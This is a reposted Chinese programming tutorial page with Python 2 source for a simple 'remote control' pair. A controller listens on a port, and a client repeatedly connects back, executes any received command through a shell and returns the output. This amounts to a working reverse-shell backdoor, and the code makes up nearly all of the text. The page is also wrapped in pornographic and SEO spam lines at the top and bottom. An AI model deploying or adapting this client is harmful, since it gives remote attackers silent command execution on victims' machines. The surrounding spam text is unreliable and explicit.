国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

python簡易遠程控制單線程版

2020-02-15 21:56:41
字體:
來源:轉載
供稿:網友

本文實例為大家分享了python簡易遠程控制的具體代碼,供大家參考,具體內容如下

1. 技術:管道通信,流文件處理,socket基礎

2. Tips:

默認IP:127.0.0.1

默認端口:7676

3. 代碼樣例:

服務端:

#!/usr/bin/env python  # encoding: utf-8   import socket import sys from os import *  reload(sys)  sys.setdefaultencoding("utf-8")   def socketInit():   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)   return s  def socketDeal(s,HOST,PORT):   s.bind((HOST,PORT))   s.listen(1)  def ControlModule(sS,addr):   recv_buffer = sS.recv(20048)   if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF":     print recv_buffer     sys.exit(0)   else:     print recv_buffer   send_buf = raw_input(addr[0]+">")   sS.send(send_buf)   def main():   HOST = "127.0.0.1"   PORT = 7676   s = socketInit()   socketDeal(s, HOST, PORT)   sS,addr = s.accept()   print "Connect from " + addr[0] + ":" + repr(addr[1])   try:     while True:       ControlModule(sS,addr)   except Exception as e:     print "[-]Connect Error"     sS.close()     s.close()     sys.exit(-1)   except KeyboardInterrupt:     sS.close()     s.close()     sys.exit(0)  if __name__ == '__main__':   main() 

受控端:

#!/usr/bin/env python  # encoding: utf-8   import socket import sys import re import traceback import tempfile from os import * from subprocess import *  reload(sys)  sys.setdefaultencoding("utf-8")   def socketInit():   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)   return s  def socketConn(s,HOST,PORT):   while True:     try:       s.connect((HOST,PORT))     except Exception as e:       continue     else:       s.send("Welcome Sir ~")       break   def String_Deal(recv,send):   P_str = re.findall("cd(.*)|(/w):", recv)   if P_str!=[] and send == "":     if P_str[0][0]!="":       try:         chdir(P_str[0][0].strip())       except Exception as e:         flag = -1       else:         flag = 1     else:       try:         chdir(recv)       except Exception as e:         #traceback.print_exc()         flag = -1       else:         flag = 1   else:     if send == "":       flag = 1     else:       flag = 0   return flag  def OpenProcess(s):   try:     while True:       recv_buf = s.recv(2048)       #流文件技術,防止管道阻塞       out_temp = tempfile.SpooledTemporaryFile(bufsize=10*1000)       fileNo = out_temp.fileno()       cmd = Popen(recv_buf, shell=True,stdin=PIPE, stdout=fileNo, stderr=STDOUT)       cmd.wait()       out_temp.seek(0)       send_buf = out_temp.read()       #print len(send_buf)       #輸入命令字符串處理識別       flag = String_Deal(recv_buf,send_buf)       if flag == 1:         s.send("OK")       elif flag == -1:         s.send("Error!!")       else:         s.send(send_buf)       send_buf = ""   except Exception as e:     try:       s.send("[-]Error:Server is OFF")     except Exception as e:       pass       s.close()     sys.exit(-1)       except KeyboardInterrupt:     try:       s.send("[*]Server is OFF")     except Exception as e:       pass     s.close()     sys.exit(0)  def main():   flag = 0   HOST = "127.0.0.1"   PORT = 7676   s = socketInit()   socketConn(s, HOST, PORT)   OpenProcess(s)   if __name__ == '__main__':   main()             
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 易门县| 突泉县| 固阳县| 罗平县| 三台县| 抚顺市| 武陟县| 海南省| 呼图壁县| 凤山县| 大石桥市| 蓬莱市| 潞西市| 孟州市| 南皮县| 抚松县| 微山县| 广河县| 秭归县| 贺州市| 剑河县| 黔西| 大田县| 镇江市| 侯马市| 日照市| 莒南县| 沭阳县| 嘉祥县| 丽水市| 诸城市| 广东省| 镇赉县| 板桥市| 三河市| 界首市| 大英县| 忻州市| 托克托县| 九龙县| 扎囊县|